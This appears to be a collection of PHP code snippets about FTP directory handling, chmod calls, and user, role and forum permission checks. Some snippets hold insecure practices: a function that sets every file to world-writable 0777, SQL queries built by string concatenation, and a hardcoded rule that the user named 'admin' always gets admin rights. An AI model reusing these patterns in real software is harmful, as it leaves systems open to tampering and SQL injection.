{\r\n\t\t\t$actual_dir = @ftp_pwd($this->_handle);\r\n\t\t\tif ( substr($actual_dir, -1) != '/' ) {\r\n\t\t\t\t$actual_dir .= '/';\r\n\t\t\t}\r\n\t\t\t$path = $actual_dir . $path;\r\n\t\t}\r\n\t\treturn $path;\r\n\t}\r\n\r\n\t/**\r\n\t * Checks whether the given path is a remote directory by trying to\r\n\t * chdir() into it (and back out)\r\n\t *\r\n\t * @param string $path Path to check\r\n\t *\r\n\t * @access private\r\n\t * @return mixed True if $path is a directory\r\n\t * @throws ftpException\r\n\t */\r\n\tprivate function _checkRemoteDir($path) {\r\n\t\t$pwd = $this->pwd();\r\n\t\t$res = $this->cd($path);\r\n\t\t$this->cd($pwd);\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/**\r\n\t * This will remove a file\r\n\t *\r\n\t * @param string $file The file to delete\r\n\t *\r\n\t * @access private\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tprivate function _rmFile($file) {\r\n\t\tif ( substr($file, 0, 1) != \"/\" ) {\r\n\t\t\t$actual_dir = @ftp_pwd($this->_handle);\r\n\t\t\tif ( substr($actual_dir, (strlen($actual_dir) - 2), 1) != \"/\" ) {\r\n\t\t\t\t$actual_dir .= \"/\";\r\n\t\t\t}\r\n\t\t\t$file = $actual_dir . $file;\r\n\t\t}\r\n\t\t$res = @ftp_delete($this->_handle, $file);\r\n\t\t\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpException(\"Could not delete file '$file'.\");\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * This will remove a dir\r\n\t *\r\n\t * @param string $dir The dir to delete\r\n\t *\r\n\t * @access private\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tprivate function _rmDir($dir) {\r\n\t\tif ( substr($dir, (strlen($dir) - 1), 1) != \"/\" ) {\r\n\t\t\tthrow new ftpException(\"Directory name '\" . $dir . \"' is invalid, has to end with '/'\");\r\n\t\t}\r\n\t\t$res = @ftp_rmdir($this->_handle, $dir);\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpException(\"Could not delete directory '$dir'.\");\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * This will remove a dir and all subdirs and -files\r\n\t *\r\n\t * @param string $dir The dir to delete recursively\r\n\t * @param bool $filesonly Only delete files so the directory structure is\r\n\t * preserved \r\n\t *\r\n\t * @access private\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tprivate function _rmDirRecursive($dir, $filesonly = false) {\r\n\t\tif ( substr($dir, (strlen($dir) - 1), 1) != \"/\" ) {\r\n\t\t\tthrow new ftpException(\"Directory name '\" . $dir . \"' is invalid, has to end with '/'\");\r\n\t\t}\r\n\t\t$file_list = $this->_lsFiles($dir);\r\n\t\tforeach ( $file_list as $file ) {\r\n\t\t\t$file = $dir . $file[\"name\"];\r\n\t\t\t$res = $this->rm($file);\r\n\t\t}\r\n\t\t\r\n\t\t$dir_list = $this->_lsDirs($dir);\r\n\t\tforeach ( $dir_list as $new_dir ) {\r\n\t\t\tif ( $new_dir[\"name\"] == '.' || $new_dir[\"name\"] == '..' ) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\t$new_dir = $dir . $new_dir[\"name\"] . \"/\";\r\n\t\t\t$res = $this->_rmDirRecursive($new_dir, $filesonly);\r\n\t\t}\r\n\t\t\r\n\t\tif ( !$filesonly ) {\r\n\t\t\t$res = $this->_rmDir($dir);\r\n\t\t}\r\n\t\t\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/**\r\n\t * Lists up files and directories\r\n\t *\r\n\t * @param string $dir The directory to list up\r\n\t *\r\n\t * @access private\r\n\t * @return array An array of dirs and files\r\n\t */\r\n\tprivate function _lsBoth($dir) {\r\n\t\t$list_splitted = $this->_listAndParse($dir);\r\n\t\t\r\n\t\tif ( !is_array($list_splitted[\"files\"]) ) {\r\n\t\t\t$list_splitted[\"files\"] = array();\r\n\t\t}\r\n\t\tif ( !is_array($list_splitted[\"dirs\"]) ) {\r\n\t\t\t$list_splitted[\"dirs\"] = array();\r\n\t\t}\r\n\t\t$res = array();\r\n\t\t@array_splice($res, 0, 0, $list_splitted[\"files\"]);\r\n\t\t@array_splice($res, 0, 0, $list_splitted[\"dirs\"]);\r\n\t\treturn $res;\r\n\t}\r\n\r\n\t/**\r\n\t * Lists up directories\r\n\t *\r\n\t * @param string $dir The directory to list up\r\n\t *\r\n\t * @access private\r\n\t * @return array An array of dirs\r\n\t */\r\n\tprivate function _lsDirs($dir) {\r\n\t\t$list = $this->_listAndParse($dir);\r\n\t\treturn $list[\"dirs\"];\r\n\t}\r\n\r\n\t/**\r\n\t * Lists up files\r\n\t *\r\n\t * @param string $dir The directory to list up\r\n\t *\r\n\t * @access private\r\n\t * @return array An array of files\r\n\t */\r\n\tprivate function _lsFiles($dir) {\r\n\t\t$list = $this->_listAndParse($dir);\r\n\t\treturn $list[\"files\"];\r\n\t}\r\n\r\n\t/**\r\n\t * This lists up the directory-content and parses the items into well-formated\r\n\t * arrays.\r\n\t * The results of this array are sorted (dirs on top, sorted by name;\r\n\t * files below, sorted by name).\r\n\t *\r\n\t * @param string $dir The directory to parse\r\n\t *\r\n\t * @access private\r\n\t * @return array Lists of dirs and files\r\n\t * @throws ftpException\r\n\t */\r\n\tprivate function _listAndParse($dir) {\r\n\t\t$dirs_list = array();\r\n\t\t$files_list = array();\r\n\t\t$dir_list = @ftp_rawlist($this->_handle, $dir);\r\n\t\tif ( !is_array($dir_list) ) {\r\n\t\t\tthrow new ftpLsException('Could not get raw directory listing of '.$dir);\r\n\t\t}\r\n\t\t\r\n\t\tforeach ( $dir_list as $k => $v ) {\r\n\t\t\tif ( strncmp($v, 'total: ', 7) == 0 && preg_match('/total: \\d+/', $v) ) {\r\n\t\t\t\tunset($dir_list[$k]);\r\n\t\t\t\tbreak; // usually there is just one line like this\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Handle empty directories\r\n\t\tif ( count($dir_list) == 0 ) {\r\n\t\t\treturn array('dirs' => $dirs_list, 'files' => $files_list);\r\n\t\t}\r\n\t\t\r\n\t\t// Exception for some FTP servers seem to return this weird result instead\r\n\t\t// of an empty list\r\n\t\tif ( count($dirs_list) == 1 && $dirs_list[0] == 'total 0' ) {\r\n\t\t\treturn array('dirs' => array(), 'files' => $files_list);\r\n\t\t}\r\n\t\t\r\n\t\tif ( !isset($this->_matcher) ) {\r\n\t\t\t$this->_matcher = $this->_determineOSMatch($dir_list);\r\n\t\t}\r\n\t\t\r\n\t\tforeach ( $dir_list as $entry ) {\r\n\t\t\tif ( !preg_match($this->_matcher['pattern'], $entry, $m) ) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\t$entry = array();\r\n\t\t\tforeach ( $this->_matcher['map'] as $key => $val ) {\r\n\t\t\t\t$entry[$key] = $m[$val];\r\n\t\t\t}\r\n\t\t\t$entry['stamp'] = $this->_parseDate($entry['date']);\r\n\t\t\t\r\n\t\t\tif ( $entry['is_dir'] ) {\r\n\t\t\t\t$dirs_list[] = $entry;\r\n\t\t\t} else {\r\n\t\t\t\t$files_list[] = $entry;\r\n\t\t\t}\r\n\t\t}\r\n\t\t@usort($dirs_list, array(\"Net_FTP\", \"_natSort\"));\r\n\t\t@usort($files_list, array(\"Net_FTP\", \"_natSort\"));\r\n\t\t$res[\"dirs\"] = (is_array($dirs_list)) ? $dirs_list : array();\r\n\t\t$res[\"files\"] = (is_array($files_list)) ? $files_list : array();\r\n\t\treturn $res;\r\n\t}\r\n\r\n\t/**\r\n\t * Determine server OS\r\n\t * This determines the server OS and returns a valid regex to parse\r\n\t * ls() output.\r\n\t *\r\n\t * @param array &$dir_list The raw dir list to parse\r\n\t *\r\n\t * @access private\r\n\t * @return mixed An array of 'pattern' and 'map' on success\r\n\t * @throws ftpException\r\n\t */\r\n\tprivate function _determineOSMatch(&$dir_list) {\r\n\t\tforeach ( $dir_list as $entry ) {\r\n\t\t\tforeach ( $this->_ls_match as $os => $match ) {\r\n\t\t\t\tif ( preg_match($match['pattern'], $entry) ) {\r\n\t\t\t\t\treturn $match;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$error =\r\n\t\t\t'The list style of your server seems not to be supported. Please'.\r\n\t\t\t'email a \"$ftp->ls(ftpClient::LS_MODE_RAWLIST);\" output plus info on the'.\r\n\t\t\t'server to the maintainer of this package to get it supported!'.\r\n\t\t\t'Thanks for your help!';\r\n\t\t\r\n\t\tthrow new ftpException($error);\r\n\t}\r\n\r\n\t/**\r\n\t * Lists a local directory\r\n\t *\r\n\t * @param string $dir_path The dir to list\r\n\t *\r\n\t * @access private\r\n\t * @return array The list of dirs and files\r\n\t */\r\n\tprivate function _lsLocal($dir_path) {\r\n\t\t$dir = dir($dir_path);\r\n\t\t$dir_list = array();\r\n\t\t$file_list = array();\r\n\t\twhile ( false !== ($entry = $dir->read()) ) {\r\n\t\t\tif ( ($entry != '.') && ($entry != '..') ) {\r\n\t\t\t\tif ( is_dir($dir_path . $entry) ) {\r\n\t\t\t\t\t$dir_list[] = $entry;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$file_list[] = $entry;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$dir->close();\r\n\t\t$res['dirs'] = $dir_list;\r\n\t\t$res['files'] = $file_list;\r\n\t\treturn $res;\r\n\t}\r\n\r\n\t/**\r\n\t * Function for use with usort().\r\n\t * Compares the list-array-elements by name.\r\n\t *\r\n\t * @param string $item_1 first item to be compared\r\n\t * @param string $item_2 second item to be compared\r\n\t *\r\n\t * @access private\r\n\t * @return int < 0 if $item_1 is less than $item_2, 0 if equal and > 0 otherwise\r\n\t */\r\n\tprivate function _natSort($item_1, $item_2) {\r\n\t\treturn strnatcmp($item_1['name'], $item_2['name']);\r\n\t}\r\n\r\n\t/**\r\n\t * Parse dates to timestamps\r\n\t *\r\n\t * @param string $date Date\r\n\t *\r\n\t * @access private\r\n\t * @return int Timestamp\r\n\t * @throws ftpException\r\n\t */\r\n\tprivate function _parseDate($date) {\r\n\t\t// Sep 10 22:06 => Sep 10, <year> 22:06\r\n\t\tif ( preg_match('/([A-Za-z]+)[ ]+([0-9]+)[ ]+([0-9]+):([0-9]+)/', $date, $res) ) {\r\n\t\t\t$year = date('Y');\r\n\t\t\t$month = $res[1];\r\n\t\t\t$day = $res[2];\r\n\t\t\t$hour = $res[3];\r\n\t\t\t$minute = $res[4];\r\n\t\t\t$date = \"$month $day, $year $hour:$minute\";\r\n\t\t\t$tmpDate = strtotime($date);\r\n\t\t\tif ( $tmpDate > time() ) {\r\n\t\t\t\t$year--;\r\n\t\t\t\t$date = \"$month $day, $year $hour:$minute\";\r\n\t\t\t}\r\n\t\t} elseif ( preg_match('/^\\d\\d-\\d\\d-\\d\\d/', $date) ) {\r\n\t\t\t// 09-10-04 => 09/10/04\r\n\t\t\t$date = str_replace('-', '/', $date);\r\n\t\t}\r\n\t\t$res = strtotime($date);\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpException('Date conversion failed for '.$date);\r\n\t\t}\r\n\t\treturn $res;\r\n\t}\r\n}", "function permissions_grant ($dir, $file, $action)\n{\n\t// determine if a user has logged in\n\t$user = session_get(\"s_user\");\n\n\t// if no user is logged in, use the global permissions\n\tif (!isset($user))\n\t\treturn permissions_global($dir, $file, $action);\n\n\t// check if the user currently logged in has the given rights\n\treturn permissions_grant_user($user, $dir, $file, $action);\n}", "public static function chmod($path, $mode = null)\n\t{\n\t\tif($mode){\n\t\t\treturn chmod($path, $mode);\n\t\t}\n\n\t\treturn substr(sprintf('%o', fileperms($path)),-4);\n\t}", "function update_role_permision() {\n\t\t$user_role = $this->get_role_permission($_POST['role_id']);\n\t\tforeach ($user_role->result() as $role) {\n\t\t\t\n\t\t\t$this->db->where('entry_id', $role->entry_id);\n\t\t\t$list = $_POST['role_permission'];\n\t\t\t$allow = isset($list[$role->entry_id]) ? 1 : 0;\n\t\t\t$this->db->update('system_security.security_role_permission', array('allow_deny' => $allow));\n\t\t}\n\t}", "public function SetPermissions ($permissions);", "public function setChmod($mode = self::DEFAULT_MODE, bool $recursive = true, array $exceptions = [])\n {\n if (!self::exists($this->path)){\n\t\t\t$this->errors[] = \"[{$this->path}] - Não existe.\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (!self::isValidChmod($mode)){\n\t\t\t$this->messages[] = sprintf('O valor %s, é inválido para chmod. O valor padrão %s, foi aplicado para o diretório %s.', $mode, self::DEFAULT_MODE, $this->path);\n\t\t}\n\n if ($recursive === false && is_dir($this->path)) {\n //@codingStandardsIgnoreStart\n if (@chmod($this->path, intval($mode, 8))) {\n //@codingStandardsIgnoreEnd\n $this->messages[] = sprintf('%s alterado para %s', $this->path, $mode);\n\n return true;\n }\n $this->errors[] = sprintf('%s não alterado para %s', $this->path, $mode);\n return false;\n }\n\n if (is_dir($this->path)) {\n $paths = self::tree($this->path);\n\n foreach ($paths as $type) {\n foreach ($type as $fullpath) {\n $check = explode(DIRECTORY_SEPARATOR, $fullpath);\n $count = count($check);\n\n if (in_array($check[$count - 1], $exceptions)) \n continue;\n //@codingStandardsIgnoreStart\n if (@chmod($fullpath, intval($mode, 8))) \n //@codingStandardsIgnoreEnd\n $this->messages[] = sprintf('%s alterado para %s', $fullpath, $mode);\n else \n $this->errors[] = sprintf('%s não alterado para %s', $fullpath, $mode);\n }\n }\n\n if (empty(self::$errors)) \n return true; \n }\n\n return false;\n }", "function setFilePermission (string $path) : void {\n\n\tif (PHP_OS_FAMILY === \"Windows\") return;\n\t$iterator = null;\n\tif (!is_dir($path)) {\n\t\t$iterator = [$path];\n\t} else {\n\t\t$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));\n\t}\n\n\tforeach ($iterator as $item) {\n\t\t@chmod($item, octdec(getConfig(\"UNIX_FILE_PERMISSIONS\")));\n\t\t@chgrp($item, getConfig(\"UNIX_FILE_GROUP\"));\n\t}\n}", "public function setPermissions($permissions);", "protected function setApplicationPermissions()\n {\n $files = (array) $this->rocketeer->getOption('remote.permissions.files');\n foreach ($files as &$file) {\n $this->setPermissions($file);\n }\n\n return true;\n }", "public function changePermission($permission)\n {\n $permission = octdec(str_pad($permission, 4, '0', STR_PAD_LEFT));\n\n try {\n chmod($this->path, $permission);\n\n } catch (\\Exception $e) {\n\n throw new FilesystemException\n ('Ftp Filesystem: changePermission method failed for ' . $permission);\n }\n }", "private function applyPermissions(string $cacheFile): void\n {\n if (! chmod($cacheFile, (int) $this->config['mode'])) {\n trigger_error(sprintf(\n 'Unable to set %s permission for %s',\n $this->config['mode'],\n $cacheFile\n ), E_USER_WARNING);\n }\n }", "public static function chmod($path, $mode = null)\n\t{\n\t\tif ($mode) {\n\t\t\treturn chmod($path, $mode);\n\t\t}\n\n\t\treturn substr(sprintf('%o', fileperms($path)), -4);\n\t}", "public function dirPermissions($value)\n {\n $this->chmod = (int)$value;\n return $this;\n }", "function do_forum_perms()\n\t{\n\t\t//-----------------------------------------\n\t\t// Check for legal ID\n\t\t//-----------------------------------------\n\n\t\tif ($this->ipsclass->input['id'] == \"\")\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Нельзя изменить ID группы\");\n\t\t}\n\n\t\t$gid = intval($this->ipsclass->input['id']);\n\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'forum_perms', 'where' => \"perm_id=\".$gid ) );\n\t\t$this->ipsclass->DB->simple_exec();\n\n\t\tif ( ! $gr = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Недействительный ID группы\");\n\t\t}\n\n\t\t//-----------------------------------------\n\t\t// Pull the forum data..\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'forums', 'order' => \"position ASC\" ) );\n\t\t$forum_q = $this->ipsclass->DB->simple_exec();\n\n\t\twhile ( $row = $this->ipsclass->DB->fetch_row( $forum_q ) )\n\t\t{\n\t\t\t$perms = unserialize(stripslashes( $row['permission_array'] ) );\n\n\t\t\t$read = \"\";\n\t\t\t$reply = \"\";\n\t\t\t$start = \"\";\n\t\t\t$upload = \"\";\n\t\t\t$download = \"\";\n\t\t\t$show = \"\";\n\n\t\t\t//-----------------------------------------\n\t\t\t// Is this global?\n\t\t\t//-----------------------------------------\n\n\t\t\tif ($perms['read_perms'] == '*')\n\t\t\t{\n\t\t\t\t$read = '*';\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//-----------------------------------------\n\t\t\t\t// Split the set IDs\n\t\t\t\t//-----------------------------------------\n\n\t\t\t\t$read_ids = explode( \",\", $perms['read_perms'] );\n\n\t\t\t\tif ( is_array($read_ids) )\n\t\t\t\t{\n\t\t\t\t foreach ($read_ids as $i)\n\t\t\t\t {\n\t\t\t\t\t //-----------------------------------------\n\t\t\t\t\t // If it's the current ID, skip\n\t\t\t\t\t //-----------------------------------------\n\n\t\t\t\t\t if ($gid == $i)\n\t\t\t\t\t {\n\t\t\t\t\t\t continue;\n\t\t\t\t\t }\n\t\t\t\t\t else\n\t\t\t\t\t {\n\t\t\t\t\t\t $read .= $i.\",\";\n\t\t\t\t\t }\n\t\t\t\t }\n\t\t\t\t}\n\t\t\t\t//-----------------------------------------\n\t\t\t\t// Was the box checked?\n\t\t\t\t//-----------------------------------------\n\n\t\t\t\tif ($this->ipsclass->input[ 'read_'.$row['id'] ] == 1)\n\t\t\t\t{\n\t\t\t\t\t// Add our group ID...\n\n\t\t\t\t\t$read .= $gid.\",\";\n\t\t\t\t}\n\n\t\t\t\t// Tidy..\n\n\t\t\t\t$read = preg_replace( \"/,$/\", \"\", $read );\n\t\t\t\t$read = preg_replace( \"/^,/\", \"\", $read );\n\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\t\t\t// Reply topics..\n\t\t\t//-----------------------------------------\n\n\t\t\tif ($perms['reply_perms'] == '*')\n\t\t\t{\n\t\t\t\t$reply = '*';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$reply_ids = explode( \",\", $perms['reply_perms'] );\n\n\t\t\t\tif ( is_array($reply_ids) )\n\t\t\t\t{\n\t\t\t\t\tforeach ($reply_ids as $i)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($gid == $i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$reply .= $i.\",\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($this->ipsclass->input[ 'reply_'.$row['id'] ] == 1)\n\t\t\t\t{\n\t\t\t\t\t$reply .= $gid.\",\";\n\t\t\t\t}\n\n\t\t\t\t$reply = preg_replace( \"/,$/\", \"\", $reply );\n\t\t\t\t$reply = preg_replace( \"/^,/\", \"\", $reply );\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\t\t\t// Start topics..\n\t\t\t//-----------------------------------------\n\n\t\t\tif ($perms['start_perms'] == '*')\n\t\t\t{\n\t\t\t\t$start = '*';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$start_ids = explode( \",\", $perms['start_perms'] );\n\n\t\t\t\tif ( is_array($start_ids) )\n\t\t\t\t{\n\n\t\t\t\t\tforeach ($start_ids as $i)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($gid == $i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$start .= $i.\",\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($this->ipsclass->input[ 'start_'.$row['id'] ] == 1)\n\t\t\t\t{\n\t\t\t\t\t$start .= $gid.\",\";\n\t\t\t\t}\n\n\t\t\t\t$start = preg_replace( \"/,$/\", \"\", $start );\n\t\t\t\t$start = preg_replace( \"/^,/\", \"\", $start );\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\t\t\t// Upload topics..\n\t\t\t//-----------------------------------------\n\n\t\t\tif ($perms['upload_perms'] == '*')\n\t\t\t{\n\t\t\t\t$upload = '*';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$upload_ids = explode( \",\", $perms['upload_perms'] );\n\n\t\t\t\tif ( is_array($upload_ids) )\n\t\t\t\t{\n\n\t\t\t\t\tforeach ($upload_ids as $i)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($gid == $i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$upload .= $i.\",\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($this->ipsclass->input[ 'upload_'.$row['id'] ] == 1)\n\t\t\t\t{\n\t\t\t\t\t$upload .= $gid.\",\";\n\t\t\t\t}\n\n\t\t\t\t$upload = preg_replace( \"/,$/\", \"\", $upload );\n\t\t\t\t$upload = preg_replace( \"/^,/\", \"\", $upload );\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\t\t\t// Download attach..\n\t\t\t//-----------------------------------------\n\n\t\t\tif ($perms['download_perms'] == '*')\n\t\t\t{\n\t\t\t\t$download = '*';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$download_ids = explode( \",\", $perms['download_perms'] );\n\n\t\t\t\tif ( is_array($download_ids) )\n\t\t\t\t{\n\t\t\t\t\tforeach ($download_ids as $i)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($gid == $i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$download .= $i.\",\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($this->ipsclass->input[ 'download_'.$row['id'] ] == 1)\n\t\t\t\t{\n\t\t\t\t\t$download .= $gid.\",\";\n\t\t\t\t}\n\n\t\t\t\t$download = preg_replace( \"/,$/\", \"\", $download );\n\t\t\t\t$download = preg_replace( \"/^,/\", \"\", $download );\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\t\t\t// Show topics..\n\t\t\t//-----------------------------------------\n\n\t\t\tif ($perms['show_perms'] == '*')\n\t\t\t{\n\t\t\t\t$show = '*';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$show_ids = explode( \",\", $perms['show_perms'] );\n\n\t\t\t\tif ( is_array($show_ids) )\n\t\t\t\t{\n\t\t\t\t\tforeach ($show_ids as $i)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($gid == $i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$show .= $i.\",\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tif ($this->ipsclass->input[ 'show_'.$row['id'] ] == 1)\n\t\t\t\t{\n\t\t\t\t\t$show .= $gid.\",\";\n\t\t\t\t}\n\n\t\t\t\t$show = preg_replace( \"/,$/\", \"\", $show );\n\t\t\t\t$show = preg_replace( \"/^,/\", \"\", $show );\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\t\t\t// Update the DB...\n\t\t\t//-----------------------------------------\n\n\t\t\t$this->ipsclass->DB->do_update( 'forums', array( 'permission_array' => addslashes(serialize(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'start_perms' => $start,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'reply_perms' => $reply,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'read_perms' => $read,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'upload_perms' => $upload,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'show_perms' => $show,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'download_perms' => $download,\n\t\t\t\t\t\t\t \t\t)\t\t \t\t\t\t\t\t ) ) ), 'id='.$row['id']);\n\n\t\t}\n\n\t\t//-----------------------------------------\n\t\t// Recache forums\n\t\t//-----------------------------------------\n\n\t\trequire_once( ROOT_PATH.'sources/action_admin/forums.php' );\n\t\t$adforums = new ad_forums();\n\t\t$adforums->ipsclass =& $this->ipsclass;\n\n\t\t$adforums->recache_forums();\n\n\t\t$this->ipsclass->admin->save_log(\"Права доступа на форум отредактированы для маски: '{$gr['perm_name']}'\");\n\n\t\t$this->ipsclass->main_msg = \"Forum Access Permissions Updated\";\n\t\t$this->permsplash( );\n\n\t}", "public function changeMode($files, $mode, $umask = 0000, $recursive = false);", "function permissions_grant_user ($user, $dir, $file, $action)\n{\n\t$permissions = user_get_permissions($user);\n\n\t// determine the permission definitions\n\t$permdefs = permissions_get();\n\n\t// the user with the name \"admin\" always has admin rights\n\tif ($action == \"admin\" && $user == \"admin\")\n\t\treturn true;\n\n\t// check if the action is allowed\n\treturn ($permdefs[$action] & $permissions) != 0;\n}", "private function setPerms($file, $isDir)\n {\n $perm = substr(sprintf(\"%o\", fileperms($file)), -4);\n $dirPermissions = \"0777\";\n $filePermissions = \"0777\";\n\n if ($isDir && $perm != $dirPermissions) {\n chmod($file, octdec($dirPermissions));\n } else if (!$isDir && $perm != $filePermissions) {\n chmod($file, octdec($filePermissions));\n }\n\n flush();\n }", "function mod_permission($table, $idfrom, $idto, $op, $perm)\n{\n\tglobal $mysql_db;\n\t\n\t//should detect null values\n\tif ((is_numeric($idto) == FALSE) || (is_numeric($idfrom) == FALSE))\n\t{\n\t\techo \"<b>You can't do that</b><br >\\n\";\n\t\treturn;\n\t}\n\t\n\t$permcheckarray = check_permission($table, $idfrom, $idto, '%' . $perm . '%');\n\n\t//because there could be multiple elements \t\n\tforeach ($permcheckarray as $permcheck)\n\t{\n\t\tif ($permcheck[1] == \"normal\")\n\t\t{\t//regular permission exists\n\t\t\tif ($op == \"-\")\n\t\t\t{\t//remove the permission that exists\n\t\t\t\t$query = \"UPDATE `\" . $table . \"` SET permission = \" .\n\t\t\t\t\t\"REPLACE(permission, '\" . $perm . \"', '') WHERE (id = \" .\n\t\t\t\t\t$permcheck[0] . \") AND (id1 = \" . $idto . \");\";\n\t\t\t\t$mysql_db->query($query);\n\t\t\t\t//TODO: remove rows that do not add permissions\n\t\t\t}\n\t\t}\n\t\telse if ($permcheck[1] == \"none\")\n\t\t{\t//no permission exists\n\t\t\tif ($op == \"+\")\n\t\t\t{\t//try to add to an existing normal permission\n\t\t\t\t$query = \"UPDATE `\" . $table . \"` SET permission = \" .\n\t\t\t\t\t\"CONCAT(permission, '\" . $perm . \"') WHERE (id = \" .\n\t\t\t\t\t$idfrom . \") AND (id1 = \" . $idto . \");\";\n\t\t\t\tif($result = $mysql_db->query($query))\n\t\t\t\t{\n\t\t\t\t\tif ($mysql_db->affected_rows == 0)\n\t\t\t\t\t{\t//add a new normal permission entry\n\t\t\t\t\t\t$query = \"INSERT INTO `\" . $table . \"` (id1, id2, permission)\" .\n\t\t\t\t\t\t\t\" VALUES ('\" . $idto . \"', '\" . $idfrom . \"', '\" . $perm .\n\t\t\t\t\t\t\t\"');\";\n\t\t\t\t\t\t$mysql_db->query($query);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "private function chmod_if_needed($dir, $chmod, $recursive = false, $wpfs = false, $suppress = true) {\n\n\t\t// Do nothing on Windows\n\t\tif ('WIN' === strtoupper(substr(PHP_OS, 0, 3))) return true;\n\n\t\tif (false == $wpfs) {\n\t\t\tglobal $wp_filesystem;\n\t\t\t$wpfs = $wp_filesystem;\n\t\t}\n\n\t\t$old_chmod = $this->get_current_chmod($dir, $wpfs);\n\n\t\t// Sanity check\n\t\tif (strlen($old_chmod) < 3) return false;\n\n\t\t$new_chmod = $this->calculate_additive_chmod_oct($old_chmod, $chmod);\n\n\t\t// Don't fix what isn't broken\n\t\tif (!$recursive && $new_chmod == $old_chmod) return true;\n\n\t\t$new_chmod = octdec($new_chmod);\n\n\t\tif ($suppress) {\n\t\t\treturn @$wpfs->chmod($dir, $new_chmod, $recursive);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged\n\t\t} else {\n\t\t\treturn $wpfs->chmod($dir, $new_chmod, $recursive);\n\t\t}\n\t}", "public function givePermission($permission);", "public function givePermission($permission);", "public function upload($chmod = 0644)\n {\n if ($this->uploadDir == '') {\n $this->setErrors(\\XoopsLocale::E_UPLOAD_DIRECTORY_NOT_SET);\n return false;\n }\n if (!is_dir($this->uploadDir)) {\n $this->setErrors(sprintf(\\XoopsLocale::EF_DIRECTORY_NOT_OPENED, $this->uploadDir));\n return false;\n }\n if (!is_writeable($this->uploadDir)) {\n $this->setErrors(sprintf(\\XoopsLocale::EF_DIRECTORY_WITH_WRITE_PERMISSION_NOT_OPENED, $this->uploadDir));\n return false;\n }\n 